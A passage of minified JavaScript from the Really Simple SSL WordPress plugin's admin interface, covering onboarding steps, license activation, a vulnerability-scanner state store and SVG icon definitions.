u(!1),E&&steps.length>0&&M(0)})()}),[]),p?(0,s.createElement)(i.A,{lines:"3",error:p}):(0,s.createElement)(s.Fragment,null,!E&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-onboarding-placeholder"},(0,s.createElement)("ul",null,(0,s.createElement)("li",null,(0,s.createElement)(n.default,{name:"loading",color:"grey"}),(0,r.__)("Fetching next step...","really-simple-ssl"))),(0,s.createElement)(i.A,{lines:"3"}))),E&&(0,s.createElement)("div",{className:" rsssl-"+y.id},"activate_ssl"===y.id&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(h,{isModal:e})),"activate_license"===y.id&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(v,null)),"features"===y.id&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(C,null)),"email"===y.id&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(d,null)),"plugins"===y.id&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(_,null)),"pro"===y.id&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(b,null)),!e&&(0,s.createElement)(m.A,{isModal:!1})))}},5281:(e,t,l)=>{l.d(t,{A:()=>p});var s=l(1609),a=l(6427),r=l(7723),n=l(2043),i=l(6975),c=l(7283),o=l(2828),m=l(4449),d=l(3056),u=l(5683);const p=({isModal:e})=>{const{getProgressData:t}=(0,o.A)(),{updateField:l,setChangedField:p,updateFieldsData:h,fetchFieldsData:g,saveFields:f,getFieldValue:v}=(0,i.A)(),{setSelectedMainMenuItem:E,selectedSubMenuItem:w}=(0,n.A)(),{licenseStatus:C,toggleActivation:_}=(0,u.A)(),{fetchFirstRun:b,fetchVulnerabilities:y}=(0,m.A)(),{setSslScanStatus:S}=(0,d.A)(),{dismissModal:M,activateSSL:z,certificateValid:x,setFooterStatus:k,networkwide:L,processing:A,setProcessing:V,steps:N,currentStepIndex:H,currentStep:F,setCurrentStepIndex:D,overrideSSL:B,email:O,saveEmail:I,pluginInstaller:R}=(0,c.A)(),P=async()=>{let s=!1;if("features"===F.id){D(H+1),V(!0);for(const e of F.items){if("health_scan"===e.id&&e.activated&&(k((0,r.__)("Starting SSL health scan...","really-simple-ssl")),S("active")),!e.premium||!e.activated)for(const t of Object.values(e.options)){const s=e.value||e.activated;l(t,s),p(t,s)}"vulnerability_detection"===e.id&&(s=e.activated)}k((0,r.__)("Activating options...","really-simple-ssl")),await f(!0,!1),s&&(k((0,r.__)("Initializing vulnerability detection...","really-simple-ssl")),await b(),k((0,r.__)("Scanning for vulnerabilities...","really-simple-ssl")),await y()),k((0,r.__)("Updating dashboard...","really-simple-ssl")),await t(),k(""),V(!1)}if("email"===F.id&&(await I(),D(H+1),l("send_notifications_email",!0),l("notifications_email_address",O),h(w)),"plugins"===F.id){D(H+1);for(const e of F.items)"none"!==e.action&&null!==e.action&&await R(e.id,e.action,e.title);k("")}if("pro"===F.id){if(rsssl_settings.pro_plugin_active){V(!0);for(const e of F.items)if(e.activated)if("advanced_headers"===e.id){for(const t of e.options)if("string"==typeof t)l(t,!0),p(t,!0);else if(Array.isArray(t)){const[e,s]=t;l(e,s),p(e,s)}}else for(const t of Object.values(e.options)){const s=e.value||e.activated;l(t,s),p(t,s)}k((0,r.__)("Activating options...","really-simple-ssl")),await f(!0,!1),k((0,r.__)("Updating dashboard...","really-simple-ssl")),await t(),k(""),V(!1)}e&&M(!0),E("dashboard")}"activate_license"===F.id&&"valid"!==C&&(await _(v("license")),"valid"===C&&D(H+1))};let T=L?(0,r.__)("Activate SSL networkwide","really-simple-ssl"):(0,r.__)("Activate SSL","really-simple-ssl");if("activate_ssl"===F.id)return(0,s.createElement)(s.Fragment,null,e&&!x&&(0,s.createElement)(a.Button,{onClick:()=>{e&&M(!0),window.location.href=rsssl_settings.letsencrypt_url}},(0,r.__)("Install SSL","really-simple-ssl")),(0,s.createElement)(a.Button,{disabled:A||!x&&!B,isPrimary:!0,onClick:()=>{(async()=>{await z(),await t(),await g()})()}},T));if("activate_license"===F.id)return(0,s.createElement)(s.Fragment,null,(0,s.createElement)(a.Button,{isPrimary:!0,onClick:()=>P()},F.button||(0,r.__)("Activate","really-simple-ssl")));if(H>0&&H<N.length-1)return(0,s.createElement)(s.Fragment,null,"activate_license"!==F.id&&(0,s.createElement)(a.Button,{onClick:()=>{D(H+1)}},(0,r.__)("Skip","really-simple-ssl")),(0,s.createElement)(a.Button,{isPrimary:!0,onClick:()=>P()},F.button));if(N.length-1===H){let e=rsssl_settings.is_bf?(0,r.__)("Get 40% off","really-simple-ssl"):(0,r.__)("Get Pro","really-simple-ssl");return(0,s.createElement)(s.Fragment,null,(0,s.createElement)(a.Button,{isPrimary:!0,onClick:()=>P(),disabled:rsssl_settings.pro_plugin_active&&"valid"!==C},(0,r.__)("Finish","really-simple-ssl")),!rsssl_settings.pro_plugin_active&&(0,s.createElement)(a.Button,{rel:"noreferrer noopener",target:"_blank",isPrimary:!0,href:rsssl_settings.upgrade_link},e))}}},814:(e,t,l)=>{l.r(t),l.d(t,{default:()=>g});var s=l(1609),a=l(6087),r=l(3201),n=l(9695),i=l(7723),c=l(4937),o=l(7283),m=l(6975),d=l(6427),u=l(5170);const p=({title:e,subTitle:t,currentStep:r,buttons:n,content:c,list:o,confirmAction:m,confirmText:p,alternativeAction:h,alternativeText:g,alternativeClassName:f,isOpen:v,setOpen:E,className:w})=>{const[C,_]=(0,a.useState)(null);let b="undefined"!=typeof rsssl_modal?rsssl_modal.plugin_url:rsssl_settings.plugin_url;f=f||"rsssl-warning",(0,a.useEffect)((()=>{C||Promise.resolve().then(l.bind(l,4937)).then((({default:e})=>{_((()=>e))}))}));let y=w?" "+w:"";return wp.element.createElement(s.Fragment,null,v&&wp.element.createElement(s.Fragment,null,wp.element.createElement(u.A,{fallback:"Error loading modal"},wp.element.createElement(d.Modal,{className:"rsssl-modal"+y,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,title:e,onRequestClose:()=>E(!1),open:v},wp.element.createElement("div",{className:"rsssl-modal-body"},t&&wp.element.createElement("p",{dangerouslySetInnerHTML:{__html:t}}),c&&wp.element.createElement(s.Fragment,null,c),o&&C&&wp.element.createElement("ul",null,o.map(((e,t)=>wp.element.createElement("li",{key:t},wp.element.createElement(C,{name:e.icon,color:e.color}),e.text))))),wp.element.createElement("div",{className:"rsssl-modal-footer"},wp.element.createElement("div",{className:"rsssl-modal-footer-image"},wp.element.createElement("img",{className:"rsssl-logo",src:b+"assets/img/really-simple-security-logo.svg",alt:"Really Simple Security"})),wp.element.createElement("div",{className:"rsssl-modal-footer-buttons"},wp.element.createElement(d.Button,{onClick:()=>E(!1)},(0,i.__)("Cancel","really-simple-ssl")),n&&wp.element.createElement(s.Fragment,null,n),!n&&wp.element.createElement(s.Fragment,null,g&&wp.element.createElement(d.Button,{className:f,onClick:()=>h()},g),p&&wp.element.createElement(d.Button,{isPrimary:!0,onClick:()=>m()},p))))))))};var h=l(5281);const g=()=>{const{footerStatus:e,showOnboardingModal:t,fetchOnboardingModalStatus:l,modalStatusLoaded:d,currentStep:u,dismissModal:g}=(0,o.A)(),{fieldsLoaded:f}=(0,m.A)();return(0,a.useEffect)((()=>{d||l()}),[]),(0,a.useEffect)((()=>{t&&g(!1)}),[t]),(0,s.createElement)(s.Fragment,null,(0,s.createElement)(p,{className:"rsssl-onboarding-modal",title:u.title,subTitle:u.subtitle,currentStep:u,content:(0,s.createElement)(s.Fragment,null,!f&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)("ul",null,(0,s.createElement)("li",null,(0,s.createElement)(c.default,{name:"loading"}),(0,i.__)("Please wait while we detect your setup","really-simple-ssl"))),(0,s.createElement)(n.A,{lines:"3"})),f&&(0,s.createElement)(r.A,{isModal:!0})),isOpen:t,setOpen:e=>{e||g(!0)},buttons:(0,s.createElement)(h.A,{isModal:!0}),footer:0!==e.length&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(c.default,{name:"loading",color:"grey"}),e)}))}},9695:(e,t,l)=>{l.d(t,{A:()=>r});var s=l(1609),a=l(3972);const r=e=>{let t=e.lines;return t||(t=4),e.error&&(t=0),(0,s.createElement)("div",{className:"rsssl-placeholder"},e.error&&(0,s.createElement)(a.A,{error:e.error}),Array.from({length:t}).map(((e,t)=>(0,s.createElement)("div",{className:"rsssl-placeholder-line",key:"placeholder-"+t}))))}},489:(e,t,l)=>{l.d(t,{A:()=>f});var s=l(1609),a=l(6087),r=l(5415),n=l(6975),i=(l(2838),l(5063)),c=l(2389);const o=(0,l(2611).A)((()=>({autoComplete:{fontSize:"12px"}}))),m=({field:e,disabled:t,value:l,options:a,label:r,onChange:n})=>{let m=!Array.isArray(t)&&t;const d=o();return(0,s.createElement)(s.Fragment,null,(0,s.createElement)(i.A,{classes:{input:d.autoComplete,option:d.autoComplete},disabled:m,disablePortal:!0,value:l,id:e.id,options:a,isOptionEqualToValue:(e,t)=>("string"==typeof e.value?e.value.toLowerCase():e.value)===("string"==typeof t.value?t.value.toLowerCase():t.value),getOptionLabel:e=>{if(e&&e.label)return e.label;const t=a.find((t=>t.value===e));return t?t.label:e},onChange:(e,t)=>{let l=t&&t.value?t.value:"";n(l)},renderInput:e=>(0,s.createElement)(c.A,{...e,label:r,margin:"normal",variant:"outlined",fullWidth:!0})}))};var d=l(1621),u=l(4110);const p=(0,d.vt)(((e,t)=>({hosts:[],hostsLoaded:!1,fetchHosts:async t=>{try{const l=await u.Eo("get_hosts",{id:t});if(!l)return void console.error("No response received from the server.");let s=l.hosts;e({hosts:s,hostsLoaded:!0})}catch(e){console.error("Error:",e)}}})));var h=l(7723),g=l(1075);const f=(0,a.memo)((({field:e,showDisabledWhenSaving:t=!0})=>{const{updateField:l,setChangedField:i,saveFields:c,handleNextButtonDisabled:o}=(0,n.A)(),[d,u]=(0,a.useState)(!1),{fetchHosts:f,hosts:v,hostsLoaded:E}=p();(0,a.useEffect)((()=>{E||f()}),[]),(0,a.useEffect)((()=>{o(d)}),[d]);let w=E?v:[],C=[],_={label:(0,h.__)("Optional - Select your hosting provider.","really-simple-ssl"),value:""};0===e.value.length&&C.push(_);for(let e in w)if(w.hasOwnProperty(e)){let t={};t.label=w[e].name,t.value=e,C.push(t)}return(0,s.createElement)(r.A,{theme:g.A},(0,s.createElement)(m,{className:"rsssl-select",field:e,label:e.label,onChange:s=>(async s=>{t&&u(!0),l(e.id,s),i(e.id,s),await c(!0,!1),u(!1)})(s),value:e.value,options:C,disabled:d}))}))},5035:(e,t,l)=>{l.d(t,{A:()=>m});var s=l(1609),a=l(9684),r=l(4110),n=l(7723),i=l(6975),c=l(5683),o=l(6087);const m=({field:e,isOnboarding:t})=>{const{fields:l,setChangedField:m,updateField:d}=(0,i.A)(),{toggleActivation:u,licenseStatus:p,setLicenseStatus:h,notices:g,setNotices:f,setLoadingState:v}=(0,c.A)();return(0,o.useEffect)((()=>{v()}),[]),(0,o.useEffect)((()=>{r.YA("licenseNotices","refresh").then((e=>e)).then((e=>{h(e.licenseStatus),f(e.notices)}))}),[l]),(0,s.createElement)("div",{className:"components-base-control"},(0,s.createElement)("div",{className:"components-base-control__field"},!t&&(0,s.createElement)("label",{className:"components-base-control__label",htmlFor:e.id},e.label),(0,s.createElement)("div",{className:"rsssl-license-field"},(0,s.createElement)("input",{className:"components-text-control__input",type:"password",id:e.id,value:e.value,onChange:t=>{return l=t.target.value,m(e.id,l),void d(e.id,l);var l}}),!t&&(0,s.createElement)("button",{className:"button button-default",onClick:()=>u(e.value)},"valid"===p&&(0,s.createElement)(s.Fragment,null,(0,n.__)("Deactivate","really-simple-ssl")),"valid"!==p&&(0,s.createElement)(s.Fragment,null,(0,n.__)("Activate","really-simple-ssl"))))),g.map(((e,t)=>(0,s.createElement)(a.A,{key:"task-"+t,index:t,notice:e,highLightField:""}))))}},5683:(e,t,l)=>{l.d(t,{A:()=>n});var s=l(1621),a=(l(6975),l(4110)),r=l(7723);const n=(0,s.vt)(((e,t)=>({licenseStatus:rsssl_settings.licenseStatus,setLicenseStatus:t=>e((e=>({licenseStatus:t}))),notices:[],setNotices:t=>e((e=>({notices:t}))),setLoadingState:()=>{const t={output:{dismissible:!1,icon:"skeleton",label:(0,r.__)("Loading","burst-statistics"),msg:!1,plusone:!1,url:!1}};e({notices:[t,t,t]})},toggleActivation:async l=>{if(t().setLoadingState(),"valid"===t().licenseStatus)await a.YA("deactivate_license").then((t=>{e({notices:t.notices,licenseStatus:t.licenseStatus})}));else{let t={};t.license=l,await a.Eo("activate_license",t).then((t=>{e({notices:t.notices,licenseStatus:t.licenseStatus})}))}}})))},4449:(e,t,l)=>{l.d(t,{A:()=>o});var s=l(1609),a=l(1621),r=l(4110),n=l(7723),i=l(6535),c=l(6155);const o=(0,a.vt)(((e,t)=>({dummyRiskData:[{id:"force_update",name:"Force Update",value:"l",description:(0,n.__)("Force update the plugin or theme","really-simple-ssl")},{id:"quarantine",name:"Quarantine",value:"m",description:(0,n.__)("Isolates the plugin or theme if no update can be performed","really-simple-ssl")}],riskData:[],riskLevels:{l:1,m:2,h:3,c:4},vulnerabilities:[],processing:!1,dataLoaded:!1,updates:0,HighestRisk:!1,lastChecked:"",vulEnabled:!1,riskNaming:{},vulList:[],setDataLoaded:t=>e({dataLoaded:t}),updateRiskData:async(l,s)=>{if(!t().processing){e({processing:!0}),e((0,i.jM)((e=>{let a=e.riskData.findIndex((e=>e.id===l));e.riskData[a].value=s,e.riskData=t().enforceCascadingRiskLevels(e.riskData)})));try{await r.Eo("vulnerabilities_measures_set",{riskData:t().riskData}),e({dataLoaded:!0,processing:!1})}catch(e){console.log(e)}e({processing:!1})}},enforceCascadingRiskLevels:e=>{if(0===e.length)return e;let l=e.filter((e=>"force_update"===e.id))[0].value,s=e.filter((e=>"quarantine"===e.id))[0].value;l=t().riskLevels.hasOwnProperty(l)?t().riskLevels[l]:5,s=t().riskLevels.hasOwnProperty(s)?t().riskLevels[s]:5;let a=e.findIndex((e=>"quarantine"===e.id));s<l&&(e[a].value=Object.keys(t().riskLevels).find((e=>t().riskLevels[e]===l))),5===l&&(e[a].value="*");let r=l>0?l:0,n=Array.from(Array(r).keys()).map((e=>e));return n=n.map((e=>Object.keys(t().riskLevels).find((l=>t().riskLevels[l]===e)))),e[a].disabledRiskLevels=n,e},fetchFirstRun:async()=>{t().processing||(e({processing:!0}),await r.Eo("vulnerabilities_scan_files"),e({processing:!1}))},fetchVulnerabilities:async()=>{if(t().processing)return;e({processing:!0});let l={};try{const a=await r.Eo("hardening_data",l);let o=[],m=0;a.data.vulList&&(m=a.data.vulnerabilities,o=a.data.vulList,"object"==typeof o&&(o=Object.values(o)),o.forEach((function(e,t){let l=e.update_available?rsssl_settings.plugins_url+"?plugin_status=upgrade":"#settings/vulnerabilities";e.vulnerability_action=(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)("a",{className:"rsssl-button button-secondary",href:(0,c.g)("https://really-simple-ssl.com/vulnerability/"+e.rss_identifier),target:"_blank",rel:"noopener noreferrer"},(0,n.__)("Details","really-simple-ssl")),(0,s.createElement)("a",{disabled:!e.update_available,href:l,className:"rsssl-button button-primary"},(0,n.__)("Update","really-simple-ssl")))})));let d=a.data.riskData;Array.isArray(d)||(d=[]),d=t().enforceCascadingRiskLevels(d),e((0,i.jM)((e=>{e.vulnerabilities=m,e.vulList=o,e.updates=a.data.updates,e.dataLoaded=!0,e.riskNaming=a.data.riskNaming,e.lastChecked=a.data.lastChecked,e.vulEnabled=a.data.vulEnabled,e.riskData=d,e.processing=!1})))}catch(e){console.error(e)}},vulnerabilityCount:()=>{let e=t().vulList,l=[];return Object.keys(e).forEach((function(t){l.push(e[t])})),["c","h","m","l"].map((function(e){return{level:e,count:l.filter((function(t){return t.risk_level===e})).length}}))},vulnerabilityScore:()=>{let e=0,l=t().vulList;return Object.keys(l).forEach((function(t){"c"===l[t].risk_level?e=5:e<1&&(e=1)})),e},hardeningScore:()=>{let e=0,l=t().vulnerabilities;for(let t=0;t<l.length;t++)e+=l[t].hardening_score;return e},activateVulnerabilityScanner:async()=>{try{(await r.Eo("rsssl_scan_files")).request_success&&await t().fetchVulnerabilities()}catch(e){console.error(e)}}})))},4937:(e,t,l)=>{l.r(t),l.d(t,{default:()=>n});var s=l(1609),a=l(9519);const r=React.forwardRef((function(e,t){const{name:l,color:a,size:r}=e,n=l||"bullet",i=a||"black",c=r||15,o={black:"var(--rsp-black)",green:"var(--rsp-green)",yellow:"var(--rsp-yellow)",orange:"var(--rsp-yellow)","red-faded":"var(--rsp-red-faded)",red:"var(--rsp-red)",grey:"var(--rsp-grey-400)","red-warning":"var(--rsp-red-faded)"};let m="";return"bullet"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256z"}))),"circle"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"}))),"check"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"}))),"warning"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"}))),"error"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM232 152C232 138.8 242.8 128 256 128s24 10.75 24 24v128c0 13.25-10.75 24-24 24S232 293.3 232 280V152zM256 400c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 385.9 273.4 400 256 400z"}))),"times"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M310.6 361.4c12.5 12.5 12.5 32.75 0 45.25C304.4 412.9 296.2 416 288 416s-16.38-3.125-22.62-9.375L160 301.3L54.63 406.6C48.38 412.9 40.19 416 32 416S15.63 412.9 9.375 406.6c-12.5-12.5-12.5-32.75 0-45.25l105.4-105.4L9.375 150.6c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L160 210.8l105.4-105.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-105.4 105.4L310.6 361.4z"}))),"circle-check"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM371.8 211.8C382.7 200.9 382.7 183.1 371.8 172.2C360.9 161.3 343.1 161.3 332.2 172.2L224 280.4L179.8 236.2C168.9 225.3 151.1 225.3 140.2 236.2C129.3 247.1 129.3 264.9 140.2 275.8L204.2 339.8C215.1 350.7 232.9 350.7 243.8 339.8L371.8 211.8z"}))),"circle-times"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM175 208.1L222.1 255.1L175 303C165.7 312.4 165.7 327.6 175 336.1C184.4 346.3 199.6 346.3 208.1 336.1L255.1 289.9L303 336.1C312.4 346.3 327.6 346.3 336.1 336.1C346.3 327.6 346.3 312.4 336.1 303L289.9 255.1L336.1 208.1C346.3 199.6 346.3 184.4 336.1 175C327.6 165.7 312.4 165.7 303 175L255.1 222.1L208.1 175C199.6 165.7 184.4 165.7 175 175C165.7 184.4 165.7 199.6 175 208.1V208.1z"}))),"chevron-up"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M416 352c-8.188 0-16.38-3.125-22.62-9.375L224 173.3l-169.4 169.4c-12.5 12.5-32.75 12.5-45.25 0s-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25C432.4 348.9 424.2 352 416 352z"}))),"chevron-down"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M224 416c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L224 338.8l169.4-169.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-192 192C240.4 412.9 232.2 416 224 416z"}))),"chevron-right"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M96 480c-8.188 0-16.38-3.125-22.62-9.375c-12.5-12.5-12.5-32.75 0-45.25L242.8 256L73.38 86.63c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25l-192 192C112.4 476.9 104.2 480 96 480z"}))),"chevron-left"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M224 480c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25L77.25 256l169.4 169.4c12.5 12.5 12.5 32.75 0 45.25C240.4 476.9 232.2 480 224 480z"}))),"plus"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M432 256c0 17.69-14.33 32.01-32 32.01H256v144c0 17.69-14.33 31.99-32 31.99s-32-14.3-32-31.99v-144H48c-17.67 0-32-14.32-32-32.01s14.33-31.99 32-31.99H192v-144c0-17.69 14.33-32.01 32-32.01s32 14.32 32 32.01v144h144C417.7 224 432 238.3 432 256z"}))),"minus"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M400 288h-352c-17.69 0-32-14.32-32-32.01s14.31-31.99 32-31.99h352c17.69 0 32 14.3 32 31.99S417.7 288 400 288z"}))),"sync"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M483.515 28.485L431.35 80.65C386.475 35.767 324.485 8 256 8 123.228 8 14.824 112.338 8.31 243.493 7.971 250.311 13.475 256 20.301 256h28.045c6.353 0 11.613-4.952 11.973-11.294C66.161 141.649 151.453 60 256 60c54.163 0 103.157 21.923 138.614 57.386l-54.128 54.129c-7.56 7.56-2.206 20.485 8.485 20.485H492c6.627 0 12-5.373 12-12V36.971c0-10.691-12.926-16.045-20.485-8.486zM491.699 256h-28.045c-6.353 0-11.613 4.952-11.973 11.294C445.839 370.351 360.547 452 256 452c-54.163 0-103.157-21.923-138.614-57.386l54.128-54.129c7.56-7.56 2.206-20.485-8.485-20.485H20c-6.627 0-12 5.373-12 12v143.029c0 10.691 12.926 16.045 20.485 8.485L80.65 431.35C125.525 476.233 187.516 504 256 504c132.773 0 241.176-104.338 247.69-235.493.339-6.818-5.165-12.507-11.991-12.507z"}))),"sync-error"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M256 79.1C178.5 79.1 112.7 130.1 89.2 199.7C84.96 212.2 71.34 218.1 58.79 214.7C46.23 210.5 39.48 196.9 43.72 184.3C73.6 95.8 157.3 32 256 32C337.5 32 408.8 75.53 448 140.6V104C448 90.75 458.7 80 472 80C485.3 80 496 90.75 496 104V200C496 213.3 485.3 224 472 224H376C362.7 224 352 213.3 352 200C352 186.7 362.7 176 376 176H412.8C383.7 118.1 324.4 80 256 80V79.1zM280 263.1C280 277.3 269.3 287.1 256 287.1C242.7 287.1 232 277.3 232 263.1V151.1C232 138.7 242.7 127.1 256 127.1C269.3 127.1 280 138.7 280 151.1V263.1zM224 352C224 334.3 238.3 319.1 256 319.1C273.7 319.1 288 334.3 288 352C288 369.7 273.7 384 256 384C238.3 384 224 369.7 224 352zM40 432C26.75 432 16 421.3 16 408V311.1C16 298.7 26.75 287.1 40 287.1H136C149.3 287.1 160 298.7 160 311.1C160 325.3 149.3 336 136 336H99.19C128.3 393 187.6 432 256 432C333.5 432 399.3 381.9 422.8 312.3C427 299.8 440.7 293 453.2 297.3C465.8 301.5 472.5 315.1 468.3 327.7C438.4 416.2 354.7 480 256 480C174.5 480 103.2 436.5 64 371.4V408C64 421.3 53.25 432 40 432V432z"}))),"shortcode"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M128 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h96C145.7 480 160 465.7 160 448S145.7 416 128 416H64V96h64C145.7 96 160 81.67 160 64S145.7 32 128 32zM416 32h-96C302.3 32 288 46.33 288 63.1S302.3 96 319.1 96H384v320h-64C302.3 416 288 430.3 288 447.1S302.3 480 319.1 480H416c17.6 0 32-14.4 32-32V64C448 46.4 433.6 32 416 32z"}))),"file"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M0 64C0 28.65 28.65 0 64 0H229.5C246.5 0 262.7 6.743 274.7 18.75L365.3 109.3C377.3 121.3 384 137.5 384 154.5V448C384 483.3 355.3 512 320 512H64C28.65 512 0 483.3 0 448V64zM336 448V160H256C238.3 160 224 145.7 224 128V48H64C55.16 48 48 55.16 48 64V448C48 456.8 55.16 464 64 464H320C328.8 464 336 456.8 336 448z"}))),"file-disabled"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 640 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M639.1 487.1c0-7.119-3.153-14.16-9.191-18.89l-118.8-93.12l.0013-237.3c0-16.97-6.742-33.26-18.74-45.26l-74.63-74.64C406.6 6.742 390.3 0 373.4 0H192C156.7 0 128 28.65 128 64L128 75.01L38.82 5.11C34.41 1.672 29.19 0 24.04 0C10.19 0-.0002 11.3-.0002 23.1c0 7.12 3.153 14.16 9.192 18.89l591.1 463.1C605.6 510.3 610.8 512 615.1 512C629.8 512 639.1 500.6 639.1 487.1zM464 338.4l-287.1-225.7l-.002-48.51c0-8.836 7.164-16 15.1-16h160l-.0065 79.87c0 17.67 14.33 31.1 31.1 31.1L464 159.1V338.4zM448 463.1H192c-8.834 0-15.1-7.164-15.1-16L176 234.6L128 197L128 447.1c0 35.34 28.65 64 63.1 64H448c20.4 0 38.45-9.851 50.19-24.84l-37.72-29.56C457.5 461.4 453.2 463.1 448 